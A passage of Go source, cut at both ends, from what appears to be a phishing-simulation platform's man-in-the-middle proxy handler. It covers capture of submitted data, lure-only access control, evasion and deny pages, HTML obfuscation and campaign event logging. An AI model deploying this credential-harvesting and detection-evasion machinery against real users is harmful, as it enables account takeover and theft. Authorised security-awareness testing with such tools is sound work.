submit", "campaignID", session.CampaignID.String(), "error", err, ) } if webhookID != nil { err = m.CampaignService.HandleWebhook( ctx, webhookID, session.CampaignID, session.RecipientID, data.EVENT_CAMPAIGN_RECIPIENT_SUBMITTED_DATA, capturedData, ) if err != nil { m.logger.Errorw("failed to handle webhook for MITM proxy submit", "error", err, "campaignRecipientID", session.CampaignRecipientID.String(), ) } } } func (m *ProxyHandler) parseProxyConfig(configStr string) (*service.ProxyServiceConfigYAML, error) { var yamlConfig service.ProxyServiceConfigYAML err := yaml.Unmarshal([]byte(configStr), &yamlConfig) if err != nil { return nil, fmt.Errorf("failed to parse YAML config: %w", err) } m.setProxyConfigDefaults(&yamlConfig) err = service.CompilePathPatterns(&yamlConfig) if err != nil { return nil, fmt.Errorf("failed to compile path patterns: %w", err) } return &yamlConfig, nil } func (m *ProxyHandler) setProxyConfigDefaults(config *service.ProxyServiceConfigYAML) { if config.Version == "" { config.Version = "0.0" } for domain, domainConfig := range config.Hosts { if domainConfig != nil && domainConfig.Capture != nil { for i := range domainConfig.Capture { if domainConfig.Capture[i].Required == nil { trueValue := true domainConfig.Capture[i].Required = &trueValue } } } if domainConfig != nil && domainConfig.Response != nil { for i := range domainConfig.Response { // set default status to 200 if not specified if domainConfig.Response[i].Status == 0 { domainConfig.Response[i].Status = 200 } } } // set defaults for domain access control if domainConfig != nil && domainConfig.Access != nil { // set default mode to private if not specified if domainConfig.Access.Mode == "" { domainConfig.Access.Mode = "private" } // set default deny action for private mode if not specified if domainConfig.Access.Mode == "private" && domainConfig.Access.OnDeny == "" { domainConfig.Access.OnDeny = "404" } } config.Hosts[domain] = domainConfig } // set defaults for global response rules if config.Global != nil && config.Global.Response != nil { for i := range config.Global.Response { // set default status to 200 if not specified if config.Global.Response[i].Status == 0 { config.Global.Response[i].Status = 200 } } } // set defaults for global access control if config.Global != nil && config.Global.Access != nil { // set default mode to private if not specified if config.Global.Access.Mode == "" { config.Global.Access.Mode = "private" } // set default deny action for private mode if not specified if config.Global.Access.Mode == "private" && config.Global.Access.OnDeny == "" { config.Global.Access.OnDeny = "404" } } } // extractTopLevelDomain extracts the top-level domain from a hostname // e.g., "login.proxysaurous.test" -> "proxysaurous.test" // e.g., "assets-1.proxysaurous.test" -> "proxysaurous.test" func (m *ProxyHandler) extractTopLevelDomain(hostname string) string { parts := strings.Split(hostname, ".") if len(parts) <= 2 { // already a top-level domain or single word return hostname } // return the last two parts (domain.tld) return parts[len(parts)-2] + "." + parts[len(parts)-1] } func (m *ProxyHandler) GetCookieName() string { return m.cookieName } func (m *ProxyHandler) IsValidProxyCookie(cookie string) bool { return m.isValidSessionCookie(cookie) } // checkResponseRules checks if any response rules match the current request func (m *ProxyHandler) checkResponseRules(req *http.Request, reqCtx *RequestContext) *http.Response { // check global response rules first if reqCtx.ProxyConfig.Global != nil { if resp := m.matchGlobalResponseRules(reqCtx.ProxyConfig.Global, req, reqCtx); resp != nil { return resp } } // check domain-specific response rules for _, hostConfig := range reqCtx.ProxyConfig.Hosts { if hostConfig != nil && hostConfig.To == reqCtx.PhishDomain { if resp := m.matchDomainResponseRules(hostConfig, req, reqCtx); resp != nil { return resp } } } return nil } // shouldForwardRequest checks if any matching response rule has forward: true func (m *ProxyHandler) shouldForwardRequest(req *http.Request, reqCtx *RequestContext) bool { // check global response rules first if reqCtx.ProxyConfig.Global != nil { if shouldForward := m.checkForwardInGlobalRules(reqCtx.ProxyConfig.Global, req); shouldForward { return true } } // check domain-specific response rules for _, hostConfig := range reqCtx.ProxyConfig.Hosts { if hostConfig != nil && hostConfig.To == reqCtx.PhishDomain { if shouldForward := m.checkForwardInDomainRules(hostConfig, req); shouldForward { return true } } } return false } // checkForwardInGlobalRules checks if any matching global response rule has forward: true func (m *ProxyHandler) checkForwardInGlobalRules(rules *service.ProxyServiceRules, req *http.Request) bool { if rules == nil || rules.Response == nil { return false } for _, rule := range rules.Response { if rule.PathRe != nil && rule.PathRe.MatchString(req.URL.Path) { return rule.Forward } } return false } // checkForwardInDomainRules checks if any matching domain response rule has forward: true func (m *ProxyHandler) checkForwardInDomainRules(rules *service.ProxyServiceDomainConfig, req *http.Request) bool { if rules == nil || rules.Response == nil { return false } for _, rule := range rules.Response { if rule.PathRe != nil && rule.PathRe.MatchString(req.URL.Path) { return rule.Forward } } return false } // matchGlobalResponseRules checks global response rules func (m *ProxyHandler) matchGlobalResponseRules(rules *service.ProxyServiceRules, req *http.Request, reqCtx *RequestContext) *http.Response { if rules == nil || rules.Response == nil { return nil } for _, rule := range rules.Response { if rule.PathRe != nil && rule.PathRe.MatchString(req.URL.Path) { return m.createResponseFromRule(rule, req, reqCtx) } } return nil } // matchDomainResponseRules checks domain-specific response rules func (m *ProxyHandler) matchDomainResponseRules(rules *service.ProxyServiceDomainConfig, req *http.Request, reqCtx *RequestContext) *http.Response { if rules == nil || rules.Response == nil { return nil } for _, rule := range rules.Response { if rule.PathRe != nil && rule.PathRe.MatchString(req.URL.Path) { return m.createResponseFromRule(rule, req, reqCtx) } } return nil } // createResponseFromRule creates an HTTP response based on a response rule func (m *ProxyHandler) createResponseFromRule(rule service.ProxyServiceResponseRule, req *http.Request, reqCtx *RequestContext) *http.Response { // ensure status code defaults to 200 if not set status := rule.Status if status == 0 { status = 200 } resp := &http.Response{ StatusCode: status, Header: make(http.Header), Request: req, } // set headers with support for {{.Origin}} interpolation requestOrigin := req.Header.Get("Origin") for name, value := range rule.Headers { // support {{.Origin}} placeholder to echo back the request's origin header // this is useful for cors when credentials mode is 'include' and wildcard '*' is not allowed if strings.Contains(value, "{{.Origin}}") { if requestOrigin != "" { value = strings.ReplaceAll(value, "{{.Origin}}", requestOrigin) } else { // if no origin header present, skip this header continue } } resp.Header.Set(name, value) } // process body body := rule.Body resp.Body = io.NopCloser(strings.NewReader(body)) resp.ContentLength = int64(len(body)) // set content-length header if not already set if resp.Header.Get("Content-Length") == "" { resp.Header.Set("Content-Length", fmt.Sprintf("%d", len(body))) } return resp } func (m *ProxyHandler) CleanupExpiredSessions() { // cleanup expired sessions m.SessionManager.CleanupExpiredSessions(time.Duration(PROXY_COOKIE_MAX_AGE) * time.Second) // cleanup expired IP allow listed entries ipCleanedCount := m.IPAllowListService.ClearExpired() if ipCleanedCount > 0 { m.logger.Debugw("cleaned up expired IP allow listed entries", "count", ipCleanedCount) } } func (m *ProxyHandler) getTargetDomainForPhishingDomain(phishingDomain string) (string, error) { if strings.Contains(phishingDomain, ":") { phishingDomain = strings.Split(phishingDomain, ":")[0] } var dbDomain database.Domain result := m.DomainRepository.DB.Where("name = ?", phishingDomain).First(&dbDomain) if result.Error != nil { return "", fmt.Errorf("failed to get domain configuration: %w", result.Error) } if dbDomain.Type != "proxy" { return "", fmt.Errorf("domain is not configured for proxy") } if dbDomain.ProxyTargetDomain == "" { return "", fmt.Errorf("no proxy target domain configured") } targetDomain := dbDomain.ProxyTargetDomain if strings.Contains(targetDomain, "://") { if parsedURL, err := url.Parse(targetDomain); err == nil { return parsedURL.Host, nil } } return targetDomain, nil } func (m *ProxyHandler) isValidSessionCookie(cookie string) bool { if cookie == "" { return false } _, exists := m.SessionManager.GetSession(cookie) return exists } func (m *ProxyHandler) configToMap(configMap *sync.Map) map[string]service.ProxyServiceDomainConfig { result := make(map[string]service.ProxyServiceDomainConfig) configMap.Range(func(key, value interface{}) bool { result[key.(string)] = value.(service.ProxyServiceDomainConfig) return true }) return result } func (m *ProxyHandler) createServiceUnavailableResponse(message string) *http.Response { resp := &http.Response{ StatusCode: http.StatusServiceUnavailable, Header: make(http.Header), Body: io.NopCloser(strings.NewReader(message)), } resp.Header.Set("Content-Type", "text/plain") return resp } func (m *ProxyHandler) clearAllCookiesForInitialMitmVisit(resp *http.Response, reqCtx *RequestContext) { // clear all existing cookies by setting them to expire immediately if resp.Request != nil { for _, cookie := range resp.Request.Cookies() { // create expired cookie to clear it expiredCookie := &http.Cookie{ Name: cookie.Name, Value: "", Path: "/", Domain: reqCtx.PhishDomain, Expires: time.Unix(0, 0), MaxAge: -1, HttpOnly: true, Secure: true, SameSite: http.SameSiteNoneMode, } resp.Header.Add("Set-Cookie", expiredCookie.String()) } } } func (m *ProxyHandler) writeResponse(w http.ResponseWriter, resp *http.Response) error { // check for nil response if resp == nil { m.logger.Errorw("response is nil in writeResponse") w.WriteHeader(http.StatusInternalServerError) return errors.New("response is nil") } // copy headers if resp.Header != nil { for k, v := range resp.Header { for _, val := range v { w.Header().Add(k, val) } } } // set status code w.WriteHeader(resp.StatusCode) // copy body if resp.Body != nil { defer resp.Body.Close() _, err := io.Copy(w, resp.Body) return err } return nil } // evaluatePathAccess checks if a path is allowed based on access control rules func (m *ProxyHandler) evaluatePathAccess(path string, reqCtx *RequestContext, hasSession bool, req *http.Request) (bool, string) { // check domain-specific rules first if reqCtx.Domain != nil && reqCtx.ProxyConfig != nil && reqCtx.ProxyConfig.Hosts != nil { // find the domain config where the "to" field matches our phishing domain for _, domainConfig := range reqCtx.ProxyConfig.Hosts { if domainConfig != nil && domainConfig.To == reqCtx.PhishDomain { if domainConfig.Access != nil { allowed, action := m.checkAccessRules(path, domainConfig.Access, hasSession, reqCtx, req) // domain rule found - return its decision (allow or deny) return allowed, action } // domain found but no access section - fall through to check global rules break } } } // check global rules (either no domain found, or domain found but no access section) if reqCtx.ProxyConfig != nil && reqCtx.ProxyConfig.Global != nil && reqCtx.ProxyConfig.Global.Access != nil { allowed, action := m.checkAccessRules(path, reqCtx.ProxyConfig.Global.Access, hasSession, reqCtx, req) return allowed, action } // no configuration at all - use private mode default return m.applyDefaultPrivateMode(reqCtx, req) } // checkAccessRules evaluates access control rules for a given path func (m *ProxyHandler) checkAccessRules(path string, accessControl *service.ProxyServiceAccessControl, hasSession bool, reqCtx *RequestContext, req *http.Request) (bool, string) { if accessControl == nil { return true, "" // no access control = allow everything } action := accessControl.OnDeny if action == "" { action = "404" // default action } switch accessControl.Mode { case "public": return true, "" // allow all traffic (traditional proxy mode) case "private": // private mode: strict access control like evilginx2 // if this is a lure request (has campaign recipient id), allow it if reqCtx != nil && reqCtx.CampaignRecipientID != nil { return true, "" } // check if IP is allowlisted for this proxy config (from previous lure access) if reqCtx != nil && reqCtx.Domain != nil && req != nil { clientIP := m.getClientIP(req) if clientIP != "" && m.IPAllowListService.IsIPAllowed(clientIP, reqCtx.Domain.ProxyID.String()) { return true, "" } } // no lure request and IP not allow listed - deny access return false, action default: return true, "" // safe default } } // applyDefaultPrivateMode applies private mode behavior when no access control is specified func (m *ProxyHandler) applyDefaultPrivateMode(reqCtx *RequestContext, req *http.Request) (bool, string) { // if this is a lure request (has campaign recipient id), allow it if reqCtx != nil && reqCtx.CampaignRecipientID != nil { return true, "" } // check if IP is allowlisted for this proxy config (from previous lure access) if reqCtx != nil && reqCtx.Domain != nil && req != nil { clientIP := m.getClientIP(req) if clientIP != "" && m.IPAllowListService.IsIPAllowed(clientIP, reqCtx.Domain.ProxyID.String()) { return true, "" } } // no lure request and IP not allow listed - deny with default action return false, "404" } // getClientIP extracts the real client IP from request headers func (m *ProxyHandler) getClientIP(req *http.Request) string { // check common proxy headers first proxyHeaders := []string{ "X-Forwarded-For", "X-Real-IP", "X-Client-IP", "CF-Connecting-IP", "True-Client-IP", } for _, header := range proxyHeaders { ip := req.Header.Get(header) if ip != "" { // X-Forwarded-For can contain multiple IPs, take the first if strings.Contains(ip, ",") { ip = strings.TrimSpace(strings.Split(ip, ",")[0]) } return ip } } // fallback to remote addr if req.RemoteAddr != "" { ip, _, err := net.SplitHostPort(req.RemoteAddr) if err != nil { return req.RemoteAddr // might not have port } return ip } return "" } // createDenyResponse creates an appropriate response for denied access func (m *ProxyHandler) createDenyResponse(req *http.Request, reqCtx *RequestContext, denyAction string, hasSession bool) *http.Response { // construct proper full URL for logging fullURL := fmt.Sprintf("%s://%s%s", req.URL.Scheme, req.Host, req.URL.RequestURI()) // log the denial for debugging m.logger.Debugw("access denied for path", "path", req.URL.Path, "full_url", fullURL, "phish_domain", reqCtx.PhishDomain, "target_domain", reqCtx.TargetDomain, "has_session", hasSession, "deny_action", denyAction, "user_agent", req.Header.Get("User-Agent"), ) // auto-detect URLs for redirect (no prefix needed) if strings.HasPrefix(denyAction, "http://") || strings.HasPrefix(denyAction, "https://") { return m.createRedirectResponse(denyAction) } // backwards compatibility for old redirect: syntax if strings.HasPrefix(denyAction, "redirect:") { url := strings.TrimPrefix(denyAction, "redirect:") return m.createRedirectResponse(url) } // parse as status code if statusCode, err := strconv.Atoi(denyAction); err == nil { return m.createStatusResponse(statusCode) } return m.createStatusResponse(404) // fallback } // createRedirectResponse creates a redirect response func (m *ProxyHandler) createRedirectResponse(url string) *http.Response { return &http.Response{ StatusCode: 302, Header: map[string][]string{ "Location": {url}, }, } } // createStatusResponse creates a response with the specified status code func (m *ProxyHandler) createStatusResponse(statusCode int) *http.Response { return &http.Response{ StatusCode: statusCode, Header: make(http.Header), Body: io.NopCloser(strings.NewReader("")), } } // registerPageVisitEvent registers a page visit event when a new MITM session is created func (m *ProxyHandler) registerPageVisitEvent(req *http.Request, session *service.ProxySession) { if session.CampaignRecipientID == nil || session.CampaignID == nil || session.RecipientID == nil { return } ctx := req.Context() // get campaign template to determine page type templateID, err := session.Campaign.TemplateID.Get() if err != nil { m.logger.Errorw("failed to get template ID for page visit event", "error", err) return } cTemplate, err := m.CampaignTemplateRepository.GetByID(ctx, &templateID, &repository.CampaignTemplateOption{}) if err != nil { m.logger.Errorw("failed to get campaign template for page visit event", "error", err, "templateID", templateID) return } // determine which page type this is currentPageType := m.getCurrentPageType(req, cTemplate, session) // create synthetic message_read event for landing/before/after pages // this ensures that "emails read" stat is always >= "website visits" stat // only create if recipient doesn't already have a message_read event if currentPageType == data.PAGE_TYPE_LANDING || currentPageType == data.PAGE_TYPE_BEFORE || currentPageType == data.PAGE_TYPE_AFTER { messageReadEventID := cache.EventIDByName[data.EVENT_CAMPAIGN_RECIPIENT_MESSAGE_READ] // check if recipient already has a message_read event for this campaign hasMessageRead, err := m.CampaignRepository.HasMessageReadEvent( ctx, session.CampaignID, session.RecipientID, messageReadEventID, ) if err != nil { m.logger.Errorw("failed to check for existing message read event", "error", err, "campaignRecipientID", session.CampaignRecipientID.String(), ) // continue anyway to attempt creating the event } // only create synthetic event if no message_read event exists if !hasMessageRead { syntheticReadEventID := uuid.New() clientIP := utils.ExtractClientIP(req) clientIPVO := vo.NewOptionalString64Must(clientIP) userAgent := vo.NewOptionalString255Must(utils.Substring(session.UserAgent, 0, 255)) syntheticData := vo.NewOptionalString1MBMust("synthetic_from_page_visit") var syntheticReadEvent *model.CampaignEvent if !session.Campaign.IsAnonymous.MustGet() { metadata := model.ExtractCampaignEventMetadataFromHTTPRequest(req, session.Campaign) syntheticReadEvent = &model.CampaignEvent{ ID: &syntheticReadEventID, CampaignID: session.CampaignID, RecipientID: session.RecipientID, IP: clientIPVO, UserAgent: userAgent, EventID: messageReadEventID, Data: syntheticData, Metadata: metadata, } } else { syntheticReadEvent = &model.CampaignEvent{ ID: &syntheticReadEventID, CampaignID: session.CampaignID, RecipientID: nil, IP: vo.NewEmptyOptionalString64(), UserAgent: vo.NewEmptyOptionalString255(), EventID: messageReadEventID, Data: syntheticData, Metadata: vo.NewEmptyOptionalString1MB(), } } // save the synthetic message read event err = m.CampaignRepository.SaveEvent(ctx, syntheticReadEvent) if err != nil { m.logger.Errorw("failed to save synthetic message read event", "error", err, "campaignRecipientID", session.CampaignRecipientID.String(), "pageType", currentPageType, ) // continue anyway to save the page visit event } else { m.logger.Debugw("created synthetic message read event from page visit", "campaignRecipientID", session.CampaignRecipientID.String(), "pageType", currentPageType, ) } } else { m.logger.Debugw("skipping synthetic message read event - already exists", "campaignRecipientID", session.CampaignRecipientID.String(), "pageType", currentPageType, ) } } // determine event name based on page type var eventName string switch currentPageType { case data.PAGE_TYPE_EVASION: eventName = data.EVENT_CAMPAIGN_RECIPIENT_EVASION_PAGE_VISITED case data.PAGE_TYPE_BEFORE: eventName = data.EVENT_CAMPAIGN_RECIPIENT_BEFORE_PAGE_VISITED case data.PAGE_TYPE_LANDING: eventName = data.EVENT_CAMPAIGN_RECIPIENT_PAGE_VISITED case data.PAGE_TYPE_AFTER: eventName = data.EVENT_CAMPAIGN_RECIPIENT_AFTER_PAGE_VISITED default: eventName = data.EVENT_CAMPAIGN_RECIPIENT_PAGE_VISITED } // get event ID eventID, exists := cache.EventIDByName[eventName] if !exists { m.logger.Errorw("unknown event name", "eventName", eventName) return } // create visit event visitEventID := uuid.New() clientIP := utils.ExtractClientIP(req) clientIPVO := vo.NewOptionalString64Must(clientIP) userAgent := vo.NewOptionalString255Must(utils.Substring(session.UserAgent, 0, 255)) var visitEvent *model.CampaignEvent if !session.Campaign.IsAnonymous.MustGet() { metadata := model.ExtractCampaignEventMetadataFromHTTPRequest(req, session.Campaign) visitEvent = &model.CampaignEvent{ ID: &visitEventID, CampaignID: session.CampaignID, RecipientID: session.RecipientID, IP: clientIPVO, UserAgent: userAgent, EventID: eventID, Data: vo.NewEmptyOptionalString1MB(), Metadata: metadata, } } else { visitEvent = &model.CampaignEvent{ ID: &visitEventID, CampaignID: session.CampaignID, RecipientID: nil, IP: vo.NewEmptyOptionalString64(), UserAgent: vo.NewEmptyOptionalString255(), EventID: eventID, Data: vo.NewEmptyOptionalString1MB(), Metadata: vo.NewEmptyOptionalString1MB(), } } // save the visit event err = m.CampaignRepository.SaveEvent(ctx, visitEvent) if err != nil { m.logger.Errorw("failed to save MITM page visit event", "error", err, "campaignRecipientID", session.CampaignRecipientID.String(), "pageType", currentPageType, ) return } // update most notable event for recipient if needed campaignRecipient, err := m.CampaignRecipientRepository.GetByID(ctx, session.CampaignRecipientID, &repository.CampaignRecipientOption{}) if err != nil { m.logger.Errorw("failed to get campaign recipient for notable event update", "error", err) return } currentNotableEventID, _ := campaignRecipient.NotableEventID.Get() if cache.IsMoreNotableCampaignRecipientEventID(¤tNotableEventID, eventID) { campaignRecipient.NotableEventID.Set(*eventID) err := m.CampaignRecipientRepository.UpdateByID(ctx, session.CampaignRecipientID, campaignRecipient) if err != nil { m.logger.Errorw("failed to update notable event for MITM visit", "campaignRecipientID", session.CampaignRecipientID.String(), "eventID", eventID.String(), "error", err, ) } } // handle webhook for MITM page visit webhookID, err := m.CampaignRepository.GetWebhookIDByCampaignID(ctx, session.CampaignID) if err != nil && !errors.Is(err, gorm.ErrRecordNotFound) { m.logger.Errorw("failed to get webhook id by campaign id for MITM proxy", "campaignID", session.CampaignID.String(), "error", err, ) } if webhookID != nil && currentPageType != data.PAGE_TYPE_DONE { err = m.CampaignService.HandleWebhook( ctx, webhookID, session.CampaignID, session.RecipientID, eventName, nil, ) if err != nil { m.logger.Errorw("failed to handle webhook for MITM page visit", "error", err, "campaignRecipientID", session.CampaignRecipientID.String(), ) } } m.logger.Debugw("registered MITM page visit event", "campaignRecipientID", session.CampaignRecipientID.String(), "pageType", currentPageType, "eventName", eventName, ) } // checkAndServeEvasionPage checks if an evasion page should be served and returns the response if so func (m *ProxyHandler) checkAndServeEvasionPage(req *http.Request, reqCtx *RequestContext) *http.Response { // use cached campaign info if reqCtx.Campaign == nil { return nil } campaign := reqCtx.Campaign // check if there's an evasion page configured evasionPageID, err := campaign.EvasionPageID.Get() if err != nil { return nil } // check if evasion page is configured for this template _, err = campaign.TemplateID.Get() if err != nil { return nil } // use cached campaign template if reqCtx.CampaignTemplate == nil { return nil } cTemplate := reqCtx.CampaignTemplate // check if this is an initial request (no state parameter) // we already know we have a campaign recipient ID from reqCtx if cTemplate.StateIdentifier != nil { stateParamKey := cTemplate.StateIdentifier.Name.MustGet() encryptedParam := req.URL.Query().Get(stateParamKey) // if there is a state parameter, this is not initial request if encryptedParam != "" { return nil } } // preserve the original URL without campaign parameters for post-evasion redirect originalURL := req.URL.Path if req.URL.RawQuery != "" { // parse query params and remove campaign recipient ID query := req.URL.Query() if reqCtx.ParamName != "" { query.Del(reqCtx.ParamName) } if len(query) > 0 { originalURL += "?" + query.Encode() } } // this is initial request with campaign recipient ID and no state parameter, serve evasion page return m.serveEvasionPageResponseDirect(req, reqCtx, &evasionPageID, campaign, cTemplate, originalURL) } // checkAndServeDenyPage checks if a deny page should be served and returns the response if so func (m *ProxyHandler) checkAndServeDenyPage(req *http.Request, reqCtx *RequestContext) *http.Response { // use cached campaign info if reqCtx.Campaign == nil { return nil } campaign := reqCtx.Campaign // check if campaign has a template if _, err := campaign.TemplateID.Get(); err != nil { return nil } // use cached campaign template if reqCtx.CampaignTemplate == nil { return nil } cTemplate := reqCtx.CampaignTemplate // check if state parameter indicates deny stateParamKey := cTemplate.StateIdentifier.Name.MustGet() encryptedParam := req.URL.Query().Get(stateParamKey) if encryptedParam != "" { campaignID, err := campaign.ID.Get() if err != nil { return nil } secret := utils.UUIDToSecret(&campaignID) if decrypted, err := utils.Decrypt(encryptedParam, secret); err == nil { if decrypted == "deny" { return m.serveDenyPageResponseDirect(req, reqCtx, campaign, cTemplate) } } } return nil } func (m *ProxyHandler) serveEvasionPageResponseDirect(req *http.Request, reqCtx *RequestContext, evasionPageID *uuid.UUID, campaign *model.Campaign, cTemplate *model.CampaignTemplate, originalURL string) *http.Response { ctx := req.Context() evasionPage, err := m.PageRepository.GetByID(ctx, evasionPageID, &repository.PageOption{}) if err != nil { m.logger.Errorw("failed to get evasion page", "error", err, "pageID", evasionPageID) return nil } _, err = campaign.ID.Get() if err != nil { return nil } // determine next page type after evasion var nextPageType string if _, err := cTemplate.BeforeLandingPageID.Get(); err == nil { nextPageType = data.PAGE_TYPE_BEFORE } else if _, err := cTemplate.BeforeLandingProxyID.Get(); err == nil { nextPageType = data.PAGE_TYPE_BEFORE } else { nextPageType = data.PAGE_TYPE_LANDING } htmlContent, err := m.renderEvasionPageTemplate(req, reqCtx, evasionPage, campaign, cTemplate, nextPageType, originalURL) if err != nil { m.logger.Errorw("failed to render evasion page template", "error", err) return nil } // apply obfuscation if enabled if obfuscate, err := campaign.Obfuscate.Get(); err == nil && obfuscate { // get obfuscation template from database obfuscationTemplate, err := m.OptionService.GetObfuscationTemplate(req.Context()) if err != nil { m.logger.Errorw("failed to get obfuscation template", "error", err) } else { obfuscated, err := utils.ObfuscateHTML(htmlContent, utils.DefaultObfuscationConfig(), obfuscationTemplate, service.TemplateFuncs()) if err != nil { m.logger.Errorw("failed to obfuscate evasion page", "error", err) } else { htmlContent = obfuscated } } } // create HTTP response resp := &http.Response{ StatusCode: 200, Header: make(http.Header), Body: io.NopCloser(strings.NewReader(htmlContent)), } resp.Header.Set("Content-Type", "text/html; charset=utf-8") resp.Header.Set("Content-Length", fmt.Sprintf("%d", len(htmlContent))) resp.Header.Set("Cache-Control", "no-cache, no-store, must-revalidate") // register evasion page visit event m.registerEvasionPageVisitEventDirect(req, reqCtx) return resp } func (m *ProxyHandler) serveDenyPageResponseDirect(req *http.Request, reqCtx *RequestContext, campaign *model.Campaign, cTemplate *model.CampaignTemplate) *http.Response { denyPageID, err := campaign.DenyPageID.Get() if err != nil { // if no deny page configured, return 403 resp := &http.Response{ StatusCode: 403, Header: make(http.Header), Body: io.NopCloser(strings.NewReader("Access denied")), } resp.Header.Set("Content-Type", "text/plain") resp.Header.Set("Content-Length", "13") return resp } // check if we're on a mitm domain and should redirect to campaign template domain if cTemplate != nil && cTemplate.Domain != nil { currentDomainName := req.Host templateDomainName, err := cTemplate.Domain.Name.Get() if err == nil && currentDomainName != templateDomainName.String() { // we're on mitm domain, redirect to campaign template domain campaignID := campaign.ID.MustGet() redirectURL := m.buildCampaignFlowRedirectURL(&service.ProxySession{ CampaignRecipientID: reqCtx.CampaignRecipientID, Campaign: campaign, CampaignID: &campaignID, }, "deny") if redirectURL != "" { resp := &http.Response{ StatusCode: 302, Header: make(http.Header), Body: io.NopCloser(strings.NewReader("")), } resp.Header.Set("Location", redirectURL) resp.Header.Set("Cache-Control", "no-cache, no-store, must-revalidate") return resp } } } // serve deny page directly (either on campaign template domain or as fallback) ctx := req.Context() denyPage, err := m.PageRepository.GetByID(ctx, &denyPageID, &repository.PageOption{}) if err != nil { m.logger.Errorw("failed to get deny page", "error", err, "pageID", denyPageID) return nil } // render deny page with full template processing htmlContent, err := m.renderDenyPageTemplate(req, reqCtx, denyPage, campaign, cTemplate) if err != nil { m.logger.Errorw("failed to render deny page template", "error", err) return nil } // apply obfuscation if enabled if obfuscate, err := campaign.Obfuscate.Get(); err == nil && obfuscate { // get obfuscation template from database obfuscationTemplate, err := m.OptionService.GetObfuscationTemplate(req.Context()) if err != nil { m.logger.Errorw("failed to get obfuscation template", "error", err) } else { obfuscated, err := utils.ObfuscateHTML(htmlContent, utils.DefaultObfuscationConfig(), obfuscationTemplate, service.TemplateFuncs()) if err != nil { m.logger.Errorw("failed to obfuscate deny page", "error", err) } else { htmlContent = obfuscated } } } // create HTTP response resp := &http.Response{ StatusCode: 200, Header: make(http.Header), Body: io.NopCloser(strings.NewReader(htmlContent)), } resp.Header.Set("Content-Type", "text/html; charset=utf-8") resp.Header.Set("Content-Length", fmt.Sprintf("%d", len(htmlContent))) resp.Header.Set("Cache-Control", "no-cache, no-store, must-revalidate") // log deny page visit event m.registerDenyPageVisitEventDirect(req, reqCtx) return resp } // renderDenyPageTemplate renders the deny page with full template processing like evasion pages func (m *ProxyHandler) renderDenyPageTemplate(req *http.Request, reqCtx *RequestContext, page *model.Page, campaign *model.Campaign, cTemplate *model.CampaignTemplate) (string, error) { // use cached recipient data cRecipient := reqCtx.CampaignRecipient recipientID := reqCtx.RecipientID if cRecipient == nil || recipientID == nil { ctx := req.Context() var err error cRecipient, err = m.CampaignRecipientRepository.GetByID(ctx, reqCtx.CampaignRecipientID, &repository.CampaignRecipientOption{}) if err != nil { return "", fmt.Errorf("failed to get campaign recipient: %w", err) } rid, err := cRecipient.RecipientID.Get() if err != nil { return "", fmt.Errorf("failed to get recipient ID: %w", err) } recipientID = &rid } // get recipient details ctx := req.Context() recipientRepo := repository.Recipient{DB: m.CampaignRecipientRepository.DB} recipient, err := recipientRepo.GetByID(ctx, recipientID, &repository.RecipientOption{}) if err != nil { return "", fmt.Errorf("failed to get recipient: %w", err) } // get email for template templateID, err := campaign.TemplateID.Get() if err != nil { return "", fmt.Errorf("failed to get template ID: %w", err) } // use cached template (should already have WithEmail: true from context initialization) cTemplateWithEmail := reqCtx.CampaignTemplate if cTemplateWithEmail == nil { cTemplateWithEmail, err = m.CampaignTemplateRepository.GetByID(ctx, &templateID, &repository.CampaignTemplateOption{ WithEmail: true, }) if err != nil { return "", fmt.Errorf("failed to get campaign template with email: %w", err) } } emailID := cTemplateWithEmail.EmailID.MustGet() emailRepo := repository.Email{DB: m.CampaignRepository.DB} email, err := emailRepo.GetByID(ctx, &emailID, &repository.EmailOption{}) if err != nil { return "", fmt.Errorf("failed to get email: %w", err) } // get domain hostVO, err := vo.NewString255(req.Host) if err != nil { return "", fmt.Errorf("failed to create host VO: %w", err) } domain, err := m.DomainRepository.GetByName(ctx, hostVO, &repository.DomainOption{}) if err != nil { return "", fmt.Errorf("failed to get domain: %w", err) } // get page content htmlContent, err := page.Content.Get() if err != nil { return "", fmt.Errorf("failed to get deny page HTML content: %w", err) } // convert model.Domain to database.Domain var proxyID *uuid.UUID if id, err := domain.ProxyID.Get(); err == nil { proxyID = &id } dbDomain := &database.Domain{ ID: domain.ID.MustGet(), Name: domain.Name.MustGet().String(), Type: domain.Type.MustGet().String(), ProxyID: proxyID, ProxyTargetDomain: domain.ProxyTargetDomain.MustGet().String(), HostWebsite: domain.HostWebsite.MustGet(), RedirectURL: domain.RedirectURL.MustGet().String(), } // get campaign's company context var campaignCompanyID *uuid.UUID if campaign.CompanyID.IsSpecified() && !campaign.CompanyID.IsNull() { companyID := campaign.CompanyID.MustGet() campaignCompanyID = &companyID } // use template service to render the deny page with full template processing buf, err := m.TemplateService.CreatePhishingPageWithCampaign( ctx, dbDomain, email, reqCtx.CampaignRecipientID, recipient, htmlContent.String(), cTemplate, "", // no state parameter for deny pages req.URL.Path, campaign, campaignCompanyID, ) if err != nil { return "", fmt.Errorf("failed to render deny page template: %w", err) } return buf.String(), nil } func (m *ProxyHandler) renderEvasionPageTemplate(req *http.Request, reqCtx *RequestContext, page *model.Page, campaign *model.Campaign, cTemplate *model.CampaignTemplate, nextPageType string, originalURL string) (string, error) { // use cached recipient data cRecipient := reqCtx.CampaignRecipient recipientID := reqCtx.RecipientID if cRecipient == nil || recipientID == nil { ctx := req.Context() var err error cRecipient, err = m.CampaignRecipientRepository.GetByID(ctx, reqCtx.CampaignRecipientID, &repository.CampaignRecipientOption{}) if err != nil { return "", fmt.Errorf("failed to get campaign recipient: %w", err) } rid, err := cRecipient.RecipientID.Get() if err != nil { return "", fmt.Errorf("failed to get recipient ID: %w", err) } recipientID = &rid } // get recipient details ctx := req.Context() recipientRepo := repository.Recipient{DB: m.CampaignRecipientRepository.DB} recipient, err := recipientRepo.GetByID(ctx, recipientID, &repository.RecipientOption{}) if err != nil { return "", fmt.Errorf("failed to get recipient: %w", err) } // get email for template templateID, err := campaign.TemplateID.Get() if err != nil { return "", fmt.Errorf("failed to get template ID: %w", err) } // use cached template (should already have WithEmail: true from context initialization) cTemplateWithEmail := reqCtx.CampaignTemplate if cTemplateWithEmail == nil { cTemplateWithEmail, err = m.CampaignTemplateRepository.GetByID(ctx, &templateID, &repository.CampaignTemplateOption{ WithEmail: true, }) if err != nil { return "", fmt.Errorf("failed to get campaign template with email: %w", err) } } emailID := cTemplateWithEmail.EmailID.MustGet() emailRepo := repository.Email{DB: m.CampaignRepository.DB} email, err := emailRepo.GetByID(ctx, &emailID, &repository.EmailOption{}) if err != nil { return 